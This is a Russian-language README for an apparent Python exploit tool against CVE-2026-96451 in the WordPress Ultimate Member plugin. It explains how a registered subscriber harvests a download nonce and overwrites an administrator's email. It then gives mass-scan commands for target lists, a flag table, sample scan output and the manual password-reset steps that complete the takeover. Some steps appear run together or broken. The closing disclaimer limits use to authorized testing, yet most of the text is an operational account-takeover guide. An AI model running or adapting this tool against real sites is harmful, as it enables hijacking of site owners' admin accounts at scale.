Эксплойт на Python для CVE-2026-96451 в WordPress Ultimate Member <= 2.13.1: автоматизирует регистрацию, сбор nonce и захват аккаунта через смену email по спискам целей.
Уязвимость повышения привилегий в плагине WordPress Ultimate Member <= 2.13.1
Ultimate Member <= 2.13.1 — Повышение привилегий / Захват аккаунта
📌 Официальная запись: CVE-2026-96451
С сайта CVE.org:
Уязвимость обхода авторизации через контролируемый пользователем ключ в Ultimate Member Ultimate Member ultimate-member позволяет повысить привилегии. Проблема затрагивает Ultimate Member: от n/a до 2.13.1.
| Поле | Значение |
|---|---|
| 🆔 CVE | CVE-2026-96451 |
| 🏷️ CWE | CWE-639 — Обход авторизации через контролируемый пользователем ключ |
| 📊 CVSS 3.1 | 8.8 HIGH AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H |
| 🏢 Назначивший | Patchstack |
| ⚠️ Затронуто | Ultimate Member до 2.13.1 включительно |
| ✅ Исправлено | 2.14.0 |
Авторизованный подписчик может изменить email другого пользователя (обычно администратора). После этого WordPress принимает сброс пароля для нового почтового ящика.
um_fetch_user($user_id) и переключает глобального пользователя на ID из URL.download_routing() возвращает управление без вызова um_reset_user()._um_account=1, user_email=...).account_submit() читает um_user('ID') — теперь это жертва — и записывает новый email.Nonce для скачивания — это wp_create_nonce($user_id . $form_id . 'um-download-nonce'). Он привязан к этому ID пользователя. Его нельзя придумать. Скрипт копирует его из видимой ссылки /um-download/{form}/{field}/{user}/{nonce}/.
На профиле должно отображаться пользовательское поле file или image. Встроенные фото профиля/обложки не создают такую ссылку.
pip install requests rich
Регистрация, вход, сбор nonce, эксплуатация и проверка сброса выполняются автоматически. Вам не нужно создавать учётные записи вручную и не нужно передавать пароль подписчика для массового сканирования.
python CVE-2026-96451.py -l targets.txt -t 80 --email "[email protected]" -o um_takeover.txt
Что эта команда делает на каждом хосте:
/account//um-download/ (предпочитает пользователя с ID 1, затем любого участника с файлом)--emailwp-login.php?action=lostpassword (WordPress здесь не требует nonce)um_takeover.txt--email — это почтовый ящик, привязанный к целевому аккаунту, чтобы вы могли получить письмо для сброса. Скрипт не открывает почтовый ящик и не устанавливает новый пароль. Этот последний шаг выполняется вручную.
python CVE-2026-96451.py -u "https://example.com" --email "[email protected]"
| Флаг | Назначение | По умолчанию |
|---|---|---|
-l / --list | Файл со списком целей | — |
-u / --url | Одна цель | — |
-t / --threads | Рабочие потоки | 10 |
-o / --output | Файл результатов | um_takeover.txt |
--email | Почтовый ящик, записываемый на жертву | генерируется автоматически |
--target-id | Предпочтительный ID пользователя | 1 |
--user / --password | Использовать существующего подписчика вместо регистрации | выкл. |
-v / --verbose | Выводить каждый этап | выкл. |
На медленной RDP-машине достаточно 80–150 потоков. При сканировании списка на каждый хост отводится около 22 секунд.
[5400/11965] RST:0 CHG:0 UM:4463 REG:589 rf:3874 lf:0 na:141 nd:448 nc:0 no:937
| Код | Значение |
|---|---|
RST / CHG | Email изменён и/или сброс принят — проверьте почтовый ящик |
UM | Обнаружен Ultimate Member |
REG | Авторегистрация создала сессию |
rf | Нет публичной формы, CAPTCHA, одобрения или активации по email |
lf | Зарегистрирован, но вход не удался |
na | Страница аккаунта / nonce отсутствует |
nd | Нет видимого nonce для скачивания (нет пользовательского поля файла) |
nc | Эксплойт отправлен, изменение не подтверждено |
no | Не Ultimate Member |
REG_FAIL на многих хостах — это нормально. Цепочка продолжается только там, где регистрация создаёт сессию и видна ссылка для скачивания.
Когда появляется RST или CHG:
--email/wp-login.php или /wp-admin/Этот проект предназначен только для авторизованных исследований в области безопасности — систем, которыми вы владеете или на тестирование которых у вас есть письменное разрешение.
Несанкционированный доступ к компьютерным системам незаконен. Автор не несёт ответственности за неправомерное использование, ущерб или любые последствия работы этого программного обеспечения. Вы несёте полную ответственность за то, как оно используется, и за каждую цель, которую вы сканируете.
Автор: Nxploited ( Khaled Alenazi )